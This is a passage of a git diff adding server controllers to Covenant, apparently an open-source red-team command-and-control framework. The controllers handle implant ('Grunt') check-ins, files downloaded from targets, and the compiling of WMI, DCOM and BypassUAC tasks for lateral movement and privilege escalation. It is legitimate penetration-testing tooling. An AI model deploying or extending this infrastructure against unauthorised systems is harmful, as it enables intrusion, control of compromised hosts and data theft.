"type":"string"}}},"ListenerStatus":{"enum":["Uninitialized","Active","Stopped"],"type":"string","x-ms-enum":{"name":"ListenerStatus","modelAsString":false}},"HttpListener":{"type":"object","properties":{"useSSL":{"type":"boolean"},"sslCertificate":{"type":"string"},"sslCertificatePassword":{"type":"string"},"sslCertHash":{"type":"string","readOnly":true},"url":{"type":"string"},"id":{"format":"int32","type":"integer"},"profileId":{"format":"int32","type":"integer"},"name":{"type":"string"},"description":{"type":"string"},"bindAddress":{"type":"string"},"bindPort":{"format":"int32","type":"integer"},"connectAddress":{"type":"string"},"listenerTypeId":{"format":"int32","type":"integer"},"status":{"$ref":"#/definitions/ListenerStatus"},"covenantToken":{"type":"string"}}},"HttpProfile":{"type":"object","properties":{"name":{"type":"string"},"httpUrls":{"type":"string"},"httpCookies":{"type":"string"},"httpMessageTransform":{"type":"string"},"httpRequestHeaders":{"type":"string"},"httpPostRequest":{"type":"string"},"httpResponseHeaders":{"type":"string"},"httpGetResponse":{"type":"string"},"httpPostResponse":{"type":"string"},"id":{"format":"int32","type":"integer"}}},"Profile":{"type":"object","properties":{"id":{"format":"int32","type":"integer"}}}},"securityDefinitions":{"Bearer":{"name":"Authorization","in":"header","type":"apiKey","description":"JWT Authorization header using the Bearer scheme. Example: \"Authorization: Bearer {token}\""}}} \ No newline at end of file diff --git a/Covenant/Controllers/CovenantUserController.cs b/Covenant/Controllers/CovenantUserController.cs new file mode 100644 index 00000000..9fd8960f --- /dev/null +++ b/Covenant/Controllers/CovenantUserController.cs @@ -0,0 +1,228 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Threading.Tasks; +using System.Collections.Generic; + +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Identity; +using Microsoft.AspNetCore.Authorization; + +using Microsoft.Extensions.Configuration; + +using Covenant.Models; +using Covenant.Models.Covenant; +using Covenant.Core; +using Covenant.Data; + +namespace Covenant.Controllers +{ + [Authorize(Policy = "RequireAdministratorRole")] + [ApiController] + [Route("api")] + public class CovenantUserController : Controller + { + private readonly CovenantContext _context; + private readonly UserManager _userManager; + private readonly RoleManager _roleManager; + private readonly SignInManager _signInManager; + private readonly IConfiguration _configuration; + + public CovenantUserController(CovenantContext context, UserManager userManager, RoleManager roleManager, SignInManager signInManager, IConfiguration configuration) + { + _context = context; + _userManager = userManager; + _roleManager = roleManager; + _signInManager = signInManager; + _configuration = configuration; + } + + // GET: api/users + // Get a list of Users + [HttpGet("users", Name = "GetUsers")] + public IEnumerable GetUsers() + { + return _context.Users.ToList(); + } + + // GET api/users/{uid} + // Get a User by id + [HttpGet("users/{uid}", Name = "GetUser")] + public ActionResult GetUser(string uid) + { + var user = _context.Users.FirstOrDefault(U => U.Id == uid); + if (user == null) + { + return NotFound(); + } + return Ok(user); + } + + // POST api/users/login + // Login a User by password + [AllowAnonymous] + [HttpPost("users/login", Name = "Login")] + public async Task> Login([FromBody] CovenantUserLogin login) + { + var result = await _signInManager.PasswordSignInAsync(login.UserName, login.Password, false, false); + if (!result.Succeeded) + { + return new UnauthorizedResult(); + } + CovenantUser user = _userManager.Users.FirstOrDefault(U => U.UserName == login.UserName); + List userRoles = _context.UserRoles.Where(UR => UR.UserId == user.Id).Select(UR => UR.RoleId).ToList(); + List roles = _context.Roles.Where(R => userRoles.Contains(R.Id)).Select(R => R.Name).ToList(); + + string token = Utilities.GenerateJwtToken( + login.UserName, user.Id, roles.ToArray(), + _configuration["JwtKey"], _configuration["JwtIssuer"], + _configuration["JwtAudience"], _configuration["JwtExpireDays"] + ); + return new CovenantUserLoginResult { success = true, token = token }; + } + + // POST api/users + // Create a User + [HttpPost("users", Name = "CreateUser")] + [ProducesResponseType(typeof(CovenantUser), 201)] + public ActionResult CreateUser([FromBody] CovenantUserLogin login) + { + CovenantUser user = new CovenantUser { UserName = login.UserName }; + _userManager.CreateAsync(user, login.Password).Wait(); + CovenantUser savedUser = _context.Users.FirstOrDefault(U => U.UserName == user.UserName); + return CreatedAtRoute(nameof(GetUser), new { uid = savedUser.Id }, savedUser); + } + + // PUT api/users + // Edit a User + [HttpPut("users", Name = "EditUser")] + public ActionResult EditUser([FromBody] CovenantUser user) + { + var matching_user = _context.Users.FirstOrDefault(U => user.Id == U.Id); + if (matching_user == null) + { + return NotFound(); + } + _context.Users.Update(matching_user); + _context.SaveChanges(); + return Ok(matching_user); + } + + // DELETE api/users/{uid} + // Delete a User + [HttpDelete("users/{uid}", Name = "DeleteUser")] + [ProducesResponseType(204)] + public ActionResult DeleteUser(string uid) + { + var user = _context.Users.FirstOrDefault(U => U.Id == uid); + if (user == null) + { + return NotFound(); + } + var admins = from users in _context.Users + join userroles in _context.UserRoles on users.Id equals userroles.UserId + join roles in _context.Roles on userroles.RoleId equals roles.Id + where roles.Name == "Administrator" + select users.UserName; + if (admins.Contains(user.UserName) && admins.Count() == 1) + { + return BadRequest(); + } + _context.Users.Remove(user); + _context.SaveChanges(); + return new NoContentResult(); + } + + // GET: api/users/roles + // Get a list of all UserRoles + [HttpGet("users/roles", Name = "GetUsersRoles")] + public IEnumerable> GetUsersRoles() + { + return _context.UserRoles.ToList(); + } + + // GET: api/users/{uid}/roles + // Get a list of Roles for a User + [HttpGet("users/{uid}/roles", Name = "GetUserRoles")] + public IEnumerable> GetUserRoles(string uid) + { + return _context.UserRoles.Where(UR => UR.UserId == uid).ToList(); + } + + // GET: api/users/{uid}/roles/{rid} + // Get a list of Roles for a User + [HttpGet("users/{uid}/roles/{rid}", Name = "GetUserRole")] + public ActionResult> GetUserRole(string uid, string rid) + { + IdentityUserRole userRole = _context.UserRoles.FirstOrDefault(UR => UR.UserId == uid && UR.RoleId == rid); + if (userRole == null) + { + return NotFound(); + } + return Ok(userRole); + } + + // POST: api/users/{uid}/roles/{rid} + // Create a UserRole + [HttpPost("users/{uid}/roles/{rid}", Name = "CreateUserRole")] + [ProducesResponseType(typeof(IdentityUserRole), 201)] + public ActionResult> CreateUserRole(string uid, string rid) + { + CovenantUser user = _context.Users.FirstOrDefault(U => U.Id == uid); + IdentityRole role = _context.Roles.FirstOrDefault(R => R.Id == rid); + + _userManager.AddToRoleAsync(user, role.Name).Wait(); + IdentityUserRole userRole = _context.UserRoles.FirstOrDefault(UR => UR.UserId == uid && UR.RoleId == rid); + return CreatedAtRoute(nameof(GetUserRole), new { uid = uid, rid = rid }, userRole); + } + + // DELETE api/users/{uid}/roles/{rid} + // Delete a UserRole + [HttpDelete("users/{uid}/roles/{rid}", Name = "DeleteUserRole")] + [ProducesResponseType(204)] + public ActionResult DeleteUserRole(string uid, string rid) + { + var userRole = _context.UserRoles.FirstOrDefault(UR => UR.UserId == uid && UR.RoleId == rid); + if (userRole == null) + { + return NotFound(); + } + var adminUserRoles = from users in _context.Users + join userroles in _context.UserRoles on users.Id equals userroles.UserId + join roles in _context.Roles on userroles.RoleId equals roles.Id + where roles.Name == "Administrator" + select userroles; + if (adminUserRoles.Contains(userRole) && adminUserRoles.Count() == 1) + { + return BadRequest(); + } + + _context.UserRoles.Remove(userRole); + _context.SaveChanges(); + return new NoContentResult(); + } + + // GET: api/roles + // Get a list of all Roles + [HttpGet("roles", Name = "GetRoles")] + public IEnumerable GetRoles() + { + return _context.Roles.ToList(); + } + + // GET: api/roles/{rid} + // Get a list of Roles for a User + [HttpGet("roles/{rid}", Name = "GetRole")] + public ActionResult GetRole(string rid) + { + var role = _context.Roles.FirstOrDefault(R => R.Id == rid); + if (role == null) + { + return NotFound(); + } + return Ok(role); + } + } +} diff --git a/Covenant/Controllers/EventController.cs b/Covenant/Controllers/EventController.cs new file mode 100644 index 00000000..120900f0 --- /dev/null +++ b/Covenant/Controllers/EventController.cs @@ -0,0 +1,156 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Core; +using Covenant.Models; +using Covenant.Models.Covenant; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class EventController : Controller + { + private readonly CovenantContext _context; + + public EventController(CovenantContext context) + { + _context = context; + } + + // GET: api/events + // + // Get a list of Events + // + [HttpGet(Name = "GetEvents")] + public IEnumerable GetEvents() + { + return _context.Events.ToList(); + } + + // GET api/events/{id} + // + // Get an Event by id + // + [HttpGet("{id}", Name = "GetEvent")] + public ActionResult GetEvent(int id) + { + var anEvent = _context.Events.FirstOrDefault(E => E.Id == id); + if (anEvent == null) + { + return NotFound(); + } + return Ok(anEvent); + } + + // GET: api/events/time + // + // Get Covenant's current DateTime + // + [HttpGet("time", Name = "GetTime")] + public ActionResult GetTime() + { + return Ok(DateTime.Now.ToBinary()); + } + + // GET: api/events/range/{fromdate} + // + // Get a list of Events that occurred after the specified DateTime + // + [HttpGet("range/{fromdate}", Name = "GetEventsAfter")] + public IEnumerable GetEventsAfter(long fromdate) + { + DateTime start = DateTime.FromBinary(fromdate); + return _context.Events.Where(E => E.Time.CompareTo(start) >= 0).ToList(); + } + + // GET: api/events/range/{fromdate}/{todate} + // + // Get a list of Events that occurred between the range of specified DateTimes + // + [HttpGet("range/{fromdate}/{todate}", Name = "GetEventsRange")] + public IEnumerable GetEventsRange(long fromdate, long todate) + { + DateTime start = DateTime.FromBinary(fromdate); + DateTime end = DateTime.FromBinary(todate); + return _context.Events.Where(E => E.Time.CompareTo(start) >= 0 && E.Time.CompareTo(end) <= 0).ToList(); + } + + // POST api/events + // + // Create an Event + // + [HttpPost(Name = "CreateEvent")] + [ProducesResponseType(typeof(Event), 201)] + public ActionResult CreateEvent([FromBody]Event anEvent) + { + anEvent.Time = DateTime.Now; + _context.Events.Add(anEvent); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetEvent), new { id = anEvent.Id }, anEvent); + } + + // GET: api/events/download/{id} + // + // Get a DownloadEvent + // + [HttpGet("download/{id}", Name = "GetDownloadEvent")] + public ActionResult GetDownloadEvent(int id) + { + return ((DownloadEvent)_context.Events.FirstOrDefault(E => E.Id == id && E.Type == Event.EventType.Download)); + } + + // GET: api/events/download/{id}/content + // + // Get a downloaded file + // + [HttpGet("download/{id}/content", Name = "GetDownloadContent")] + public ActionResult GetDownloadContent(int id) + { + DownloadEvent theEvent = ((DownloadEvent)_context.Events.FirstOrDefault(E => E.Id == id)); + if (theEvent == null) + { + return NotFound(); + } + return Ok(Convert.ToBase64String(System.IO.File.ReadAllBytes(Path.Combine(Common.CovenantDownloadDirectory, theEvent.FileName)))); + } + + // POST api/events/download + // + // Post a downloaded file or portion of a downloaded file + // + [HttpPost("download", Name = "CreateDownloadEvent")] + [ProducesResponseType(typeof(Event), 201)] + public ActionResult CreateDownloadEvent([FromBody]DownloadEvent downloadEvent) + { + downloadEvent.Time = DateTime.Now; + byte[] contents = Convert.FromBase64String(downloadEvent.FileContents); + if (downloadEvent.Progress == DownloadEvent.DownloadProgress.Complete) + { + System.IO.File.WriteAllBytes( + Path.Combine(Common.CovenantDownloadDirectory, downloadEvent.FileName), + contents + ); + } + else + { + using (var stream = new FileStream(Path.Combine(Common.CovenantDownloadDirectory, downloadEvent.FileName), FileMode.Append)) + { + stream.Write(contents, 0, contents.Length); + } + } + _context.Events.Add(downloadEvent); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetEvent), new { id = downloadEvent.Id }, downloadEvent); + } + } +} diff --git a/Covenant/Controllers/GruntController.cs b/Covenant/Controllers/GruntController.cs new file mode 100644 index 00000000..32f0aa1a --- /dev/null +++ b/Covenant/Controllers/GruntController.cs @@ -0,0 +1,182 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Grunts; +using Covenant.Models.Indicators; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class GruntController : Controller + { + private readonly CovenantContext _context; + + public GruntController(CovenantContext context) + { + _context = context; + } + + // GET: api/grunts + // + // Get a list of Grunts + // + [HttpGet(Name = "GetGrunts")] + public IEnumerable GetGrunts() + { + return _context.Grunts.ToList(); + } + + // GET api/grunts/{id} + // + // Get a Grunt by id + // + [HttpGet("{id}", Name = "GetGrunt")] + public ActionResult GetGrunt(int id) + { + var grunt = _context.Grunts.FirstOrDefault(g => g.Id == id); + if (grunt == null) + { + return NotFound(); + } + return Ok(grunt); + } + + // POST api/grunts + // + // Create a Grunt + // + [HttpPost(Name = "CreateGrunt")] + [ProducesResponseType(typeof(Grunt), 201)] + public ActionResult CreateGrunt([FromBody]Grunt grunt) + { + TargetIndicator indicator = _context.Indicators.Where(I => I.Name == "TargetIndicator") + .Select(T => (TargetIndicator)T) + .FirstOrDefault(T => T.ComputerName == grunt.IPAddress && T.UserName == grunt.UserDomainName + "\\" + grunt.UserName); + if (indicator == null && grunt.IPAddress != null && grunt.IPAddress != "") + { + _context.Indicators.Add(new TargetIndicator + { + ComputerName = grunt.IPAddress, + UserName = grunt.UserName, + }); + } + _context.Grunts.Add(grunt); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetGrunt), new { id = grunt.Id }, grunt); + } + + // PUT api/grunts + // + // Edit a Grunt + // + [HttpPut(Name = "EditGrunt")] + public ActionResult EditGrunt([FromBody] Grunt grunt) + { + var matching_grunt = _context.Grunts.FirstOrDefault(g => grunt.Id == g.Id); + if (matching_grunt == null) + { + return NotFound(); + } + + if (matching_grunt.Status == Grunt.GruntStatus.Active && grunt.Status == Grunt.GruntStatus.Active) + { + if (matching_grunt.Delay != grunt.Delay) + { + _context.GruntTaskings.Add(new GruntTasking { + GruntId = grunt.Id, + type = GruntTasking.GruntTaskingType.Set, + SetType = GruntTasking.GruntSetTaskingType.Delay, + Value = grunt.Delay.ToString() + }); + } + else if(matching_grunt.Jitter != grunt.Jitter) + { + _context.GruntTaskings.Add(new GruntTasking + { + GruntId = grunt.Id, + type = GruntTasking.GruntTaskingType.Set, + SetType = GruntTasking.GruntSetTaskingType.Jitter, + Value = grunt.Jitter.ToString() + }); + } + else if(matching_grunt.ConnectAttempts != grunt.ConnectAttempts) + { + _context.GruntTaskings.Add(new GruntTasking + { + GruntId = grunt.Id, + type = GruntTasking.GruntTaskingType.Set, + SetType = GruntTasking.GruntSetTaskingType.ConnectAttempts, + Value = grunt.ConnectAttempts.ToString() + }); + } + } + matching_grunt.Name = grunt.Name; + matching_grunt.UserDomainName = grunt.UserDomainName; + matching_grunt.UserName = grunt.UserName; + matching_grunt.Status = grunt.Status; + matching_grunt.Integrity = grunt.Integrity; + matching_grunt.Process = grunt.Process; + matching_grunt.LastCheckIn = grunt.LastCheckIn; + matching_grunt.IPAddress = grunt.IPAddress; + matching_grunt.OperatingSystem = grunt.OperatingSystem; + + matching_grunt.ConnectAttempts = grunt.ConnectAttempts; + matching_grunt.Delay = grunt.Delay; + matching_grunt.Jitter = grunt.Jitter; + + matching_grunt.CovenantIPAddress = grunt.CovenantIPAddress; + matching_grunt.DotNetFrameworkVersion = grunt.DotNetFrameworkVersion; + + matching_grunt.GruntChallenge = grunt.GruntChallenge; + matching_grunt.GruntNegotiatedSessionKey = grunt.GruntNegotiatedSessionKey; + matching_grunt.GruntRSAPublicKey = grunt.GruntRSAPublicKey; + matching_grunt.GruntSharedSecretPassword = grunt.GruntSharedSecretPassword; + + _context.Grunts.Update(matching_grunt); + + TargetIndicator indicator = _context.Indicators.Where(I => I.Name == "TargetIndicator") + .Select(T => (TargetIndicator)T) + .FirstOrDefault(T => T.ComputerName == matching_grunt.IPAddress && T.UserName == matching_grunt.UserDomainName + "\\" + matching_grunt.UserName); + + if (indicator == null && grunt.IPAddress != null && grunt.IPAddress != "") + { + _context.Indicators.Add(new TargetIndicator + { + ComputerName = grunt.IPAddress, + UserName = grunt.UserDomainName + "\\" + grunt.UserName + }); + } + _context.SaveChanges(); + + return Ok(matching_grunt); + } + + // DELETE api/grunts/{id} + // + // Delete a Grunt + // + [HttpDelete("{id}", Name = "DeleteGrunt")] + [ProducesResponseType(204)] + public ActionResult DeleteGrunt(int id) + { + var grunt = _context.Grunts.FirstOrDefault(g => g.Id == id); + if (grunt == null) + { + return NotFound(); + } + + _context.Grunts.Remove(grunt); + _context.SaveChanges(); + return new NoContentResult(); + } + } +} diff --git a/Covenant/Controllers/GruntTaskController.cs b/Covenant/Controllers/GruntTaskController.cs new file mode 100644 index 00000000..06b206f3 --- /dev/null +++ b/Covenant/Controllers/GruntTaskController.cs @@ -0,0 +1,140 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Grunts; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class GruntTaskController : Controller + { + private readonly CovenantContext _context; + + public GruntTaskController(CovenantContext context) + { + _context = context; + } + + // GET: api/grunttasks + // + // Get Tasks + // + [HttpGet(Name = "GetGruntTasks")] + public IEnumerable GetGruntTasks() + { + List tasks = _context.GruntTasks.ToList(); + tasks.ForEach(T => { + T.Options = _context.GruntTaskOptions.Where(O => O.TaskId == T.Id).ToList(); + }); + return tasks; + } + + // GET: api/grunttasks/{id} + // + // Get a Task by Id + // + [HttpGet("{id:int}", Name = "GetGruntTask")] + public ActionResult GetGruntTask(int id) + { + GruntTask task = _context.GruntTasks.FirstOrDefault(T => T.Id == id); + if (task == null) + { + return NotFound(); + } + task.Options = _context.GruntTaskOptions.Where(O => O.TaskId == task.Id).ToList(); + return Ok(task); + } + + // GET: api/grunttasks/{taskname} + // + // Get a Task by Name + // + [HttpGet("{taskname}", Name = "GetGruntTaskByName")] + public ActionResult GetGruntTaskByName(string taskname) + { + GruntTask task = _context.GruntTasks.FirstOrDefault(T => T.Name.ToLower() == taskname.ToLower()); + if (task == null) + { + return NotFound(); + } + task.Options = _context.GruntTaskOptions.Where(O => O.TaskId == task.Id).ToList(); + return Ok(task); + } + + // POST api/grunttasks/{id} + // + // Create a Task + // + [HttpPost("{id}", Name = "CreateGruntTask")] + [ProducesResponseType(typeof(GruntTask), 201)] + public ActionResult CreateGruntTask(int id, [FromBody] GruntTask task) + { + _context.GruntTasks.Add(task); + task.Options.ForEach(O => { + O.TaskId = task.Id; + _context.GruntTaskOptions.Add(O); + }); + _context.SaveChanges(); + + return CreatedAtRoute(nameof(GetGruntTask), new { id = id }, task); + } + + // PUT api/grunttasks/{id} + // + // Edit a Task + // + [HttpPut("{id}", Name = "EditGruntTask")] + public ActionResult EditGruntTask(int id, [FromBody] GruntTask task) + { + GruntTask updatingTask = _context.GruntTasks.FirstOrDefault(T => T.Id == id); + if (updatingTask == null || updatingTask.Id != task.Id) + { + return NotFound(); + } + updatingTask.Options = _context.GruntTaskOptions.Where(O => O.TaskId == updatingTask.Id).ToList(); + task.Options.ForEach(O => + { + GruntTask.GruntTaskOption updatingTaskOption = updatingTask.Options.FirstOrDefault(TO => TO.Id == O.Id); + if (updatingTaskOption == null) + { + return; + } + updatingTaskOption.Value = O.Value; + }); + _context.GruntTasks.Update(updatingTask); + _context.SaveChanges(); + + return Ok(updatingTask); + } + + // DELETE api/grunttasks/{id} + // + // Delete a Task + // + [HttpDelete("{id}", Name = "DeleteGruntTask")] + [ProducesResponseType(204)] + public ActionResult DeleteGruntTask(int id) + { + GruntTask removingTask = _context.GruntTasks.FirstOrDefault(T => T.Id == id); + + if (removingTask == null) + { + return NotFound(); + } + _context.GruntTasks.Remove(removingTask); + _context.SaveChanges(); + + return new NoContentResult(); + } + } +} diff --git a/Covenant/Controllers/GruntTaskingController.cs b/Covenant/Controllers/GruntTaskingController.cs new file mode 100644 index 00000000..110cd307 --- /dev/null +++ b/Covenant/Controllers/GruntTaskingController.cs @@ -0,0 +1,239 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Grunts; +using Covenant.Models.Launchers; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/grunts/{id}/taskings")] + public class GruntTaskingController : Controller + { + private readonly CovenantContext _context; + + public GruntTaskingController(CovenantContext context) + { + _context = context; + } + + // GET: api/grunts/{id}/taskings + // + // Get GruntTaskings + // + [HttpGet(Name = "GetGruntTaskings")] + public IEnumerable GetGruntTaskings(int id) + { + return _context.GruntTaskings.Where(GT => GT.GruntId == id).ToList(); + } + + // GET api/grunts/{id}/taskings/{task_name} + // + // Get a GruntTasking + // + [HttpGet("{taskname}", Name = "GetGruntTasking")] + public ActionResult GetGruntTasking(int id, string taskname) + { + GruntTasking gruntTasking = _context.GruntTaskings.FirstOrDefault(GT => GT.GruntId == id && GT.Name == taskname); + if (gruntTasking == null) + { + return NotFound(); + } + return Ok(gruntTasking); + } + + // POST api/grunts/{id}/taskings + // + // Create a GruntTasking + // + [HttpPost(Name = "CreateGruntTasking")] + [ProducesResponseType(typeof(GruntTasking), 201)] + public ActionResult CreateGruntTasking(int id, [FromBody] GruntTasking gruntTasking) + { + Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id); + if (grunt == null) + { + return NotFound(); + } + if (gruntTasking.type == GruntTasking.GruntTaskingType.Assembly) + { + GruntTask task = _context.GruntTasks.FirstOrDefault(T => T.Id == gruntTasking.TaskId); + if (task == null) + { + return NotFound(); + } + task.Options = _context.GruntTaskOptions.Where(O => O.TaskId == task.Id).ToList(); + List parameters = task.Options.OrderBy(O => O.OptionId).Select(O => O.Value).ToList(); + if (task.Name.ToLower() == "wmi") + { + Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[3].ToLower()); + if ((parameters[4] != null && parameters[4] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") + { + // If using custom command + // Remove the "Launcher" parameter + parameters.RemoveAt(3); + } + else + { + // If using Launcher + // Remove the "Command" parameter + parameters.RemoveAt(4); + + // Set LauncherString to WMI command parameter + parameters[3] = l.LauncherString; + } + } + else if (task.Name.ToLower() == "dcom") + { + Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower()); + if ((parameters[2] != null && parameters[2] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") + { + // If using custom command + // Remove the "Launcher" parameter + parameters.RemoveAt(1); + + // Add .exe exetension if needed + List split = parameters[1].Split(" ").ToList(); + parameters[1] = split[0]; + if (!parameters[1].EndsWith(".exe")) { parameters[1] += ".exe"; } + + split.RemoveAt(0); + parameters.Insert(2, String.Join(" ", split.ToArray())); + string Directory = "C:\\WINDOWS\\System32\\"; + if (parameters[1].ToLower().Contains("powershell.exe")) { Directory += "WindowsPowerShell\\v1.0\\"; } + else if (parameters[1].ToLower().Contains("wmic.exe")) { Directory += "wbem\\"; } + + parameters.Insert(3, Directory); + } + else + { + // If using Launcher + // Remove the "Command" parameter + parameters.RemoveAt(2); + + // Set LauncherString to DCOM command parameter + parameters[1] = l.LauncherString; + + // Add .exe exetension if needed + List split = parameters[1].Split(" ").ToList(); + parameters[1] = split[0]; + if (!parameters[1].EndsWith(".exe")) { parameters[1] += ".exe"; } + + split.RemoveAt(0); + parameters.Insert(2, String.Join(" ", split.ToArray())); + string Directory = "C:\\WINDOWS\\System32\\"; + if (parameters[1].ToLower().Contains("powershell.exe")) { Directory += "WindowsPowerShell\\v1.0\\"; } + else if (parameters[1].ToLower().Contains("wmic.exe")) { Directory += "wbem\\"; } + + parameters.Insert(3, Directory); + } + } + else if (task.Name.ToLower() == "bypassuac") + { + Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[0].ToLower()); + if ((parameters[1] != null && parameters[1] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") + { + // If using custom command + // Remove the "Launcher" parameter + parameters.RemoveAt(0); + + // Add .exe exetension if needed + string[] split = parameters[0].Split(" "); + parameters[0] = split.FirstOrDefault(); + if (!parameters[0].EndsWith(".exe")) { parameters[0] += ".exe"; } + + // Add parameters needed for BypassUAC Task + parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1))); + parameters.Add("C:\\WINDOWS\\System32\\"); + if (parameters[0].ToLower().Contains("powershell.exe")) { parameters[2] += "WindowsPowerShell\\v1.0\\"; } + else if (parameters[0].ToLower().Contains("wmic.exe")) { parameters[2] += "wbem\\"; } + parameters.Add("0"); + } + else + { + // If using Launcher + // Remove the "Command" parameter + parameters.RemoveAt(1); + + // Add .exe exetension if needed + string[] split = l.LauncherString.Split(" "); + parameters[0] = split.FirstOrDefault(); + if (!parameters[0].EndsWith(".exe")) { parameters[0] += ".exe"; } + + // Add parameters need for BypassUAC Task + parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1))); + parameters.Add("C:\\WINDOWS\\System32\\"); + if (l.Name.ToLower() == "powershell") { parameters[2] += "WindowsPowerShell\\v1.0\\"; } + else if (l.Name.ToLower() == "wmic") { parameters[2] += "wbem\\"; } + parameters.Add("0"); + } + } + try + { + gruntTasking.Compile( + task.Code, parameters, + task.GetReferenceAssemblies(), + grunt.DotNetFrameworkVersion + ); + } + catch (Exception e) + { + Console.Error.WriteLine("Task Compilation failed: " + e.Message + e.StackTrace); + return BadRequest("Task returned compilation errors:" + e.Message + e.StackTrace); + } + } + _context.GruntTaskings.Add(gruntTasking); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetGruntTasking), new { id = id, taskname = gruntTasking.Name }, gruntTasking); + } + + // PUT api/grunts/{id}/taskings/{task_name} + // + // Edit a GruntTasking + // + [HttpPut("{taskname}", Name = "EditGruntTasking")] + public ActionResult EditGruntTasking(int id, string taskname, [FromBody] GruntTasking gruntTasking) + { + GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && taskname == GT.Name); + if (updatingGruntTasking == null) + { + return NotFound(); + } + updatingGruntTasking.status = gruntTasking.status; + updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput; + _context.GruntTaskings.Update(updatingGruntTasking); + _context.SaveChanges(); + + return Ok(updatingGruntTasking); + } + + // DELETE api/grunts/{id}/taskings/{task_name} + // + // Delete a GruntTasking + // + [HttpDelete("{taskname}", Name = "DeleteGruntTasking")] + [ProducesResponseType(204)] + public ActionResult DeleteGruntTasking(int id, string taskname) + { + GruntTasking removingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && GT.Name == taskname); + if (removingGruntTasking == null) + { + return NotFound(); + } + + _context.GruntTaskings.Remove(removingGruntTasking); + _context.SaveChanges(); + + return new NoContentResult(); + } + } +} diff --git a/Covenant/Controllers/HttpListenerController.cs b/Covenant/Controllers/HttpListenerController.cs new file mode 100644 index 00000000..a1a1f728 --- /dev/null +++ b/Covenant/Controllers/HttpListenerController.cs @@ -0,0 +1,428 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Linq; +using System.Collections.Generic; +using System.Security.Cryptography; + +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.Authorization; +using Newtonsoft.Json; + +using Covenant.API; +using Covenant.API.Models; +using Covenant.Core; +using Encrypt = Covenant.Core.Encryption; +using Covenant.Models.Listeners; + +namespace Covenant.Controllers +{ + public class HttpListenerController : Controller + { + private readonly HttpListenerContext _context; + private readonly ICovenantAPI CovenantClient; + private readonly IHttpContextAccessor _httpContextAccessor; + + public HttpListenerController(HttpListenerContext context, ICovenantAPI api, IHttpContextAccessor httpContextAccessor) + { + this._context = context; + this.CovenantClient = api; + this._httpContextAccessor = httpContextAccessor; + } + + private Covenant.Models.Listeners.HttpListener Listener + { + get + { + return _context.listener.FirstOrDefault(); + } + } + + private Covenant.Models.Listeners.HttpProfile Profile + { + get + { + return Covenant.Models.Listeners.HttpProfile.Create(this.CovenantClient.ApiListenersByIdProfileGet(this.Listener.Id)); + } + } + + private string GetCookie() + { + return _httpContextAccessor.HttpContext.Request.Cookies + .Where(C => this.Profile.GetCookies().Contains(C.Key)) + .Select(C => C.Value) + .FirstOrDefault(); + } + + private void SetHeaders() + { + foreach (Models.Listeners.HttpProfile.HttpProfileHeader header in + JsonConvert.DeserializeObject>(this.Profile.HttpResponseHeaders)) + { + Request.HttpContext.Response.Headers[header.Name] = header.Value; + } + } + + private string GetGetEmptyResponse() + { + return String.Format(this.Profile.HttpGetResponse, ""); + } + + private string GetPostEmptyResponse() + { + return String.Format(this.Profile.HttpPostResponse, ""); + } + + [AllowAnonymous] + [HttpGet] + public ActionResult Get() + { + this.SetHeaders(); + string cookie = this.GetCookie(); + API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); + if (gruntModel == null || gruntModel.Status != GruntStatus.Active) + { + // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound + return NotFound(); + } + gruntModel.LastCheckIn = DateTime.Now.ToString(); + CovenantClient.ApiGruntsPut(gruntModel); + GruntTasking gruntTasking = 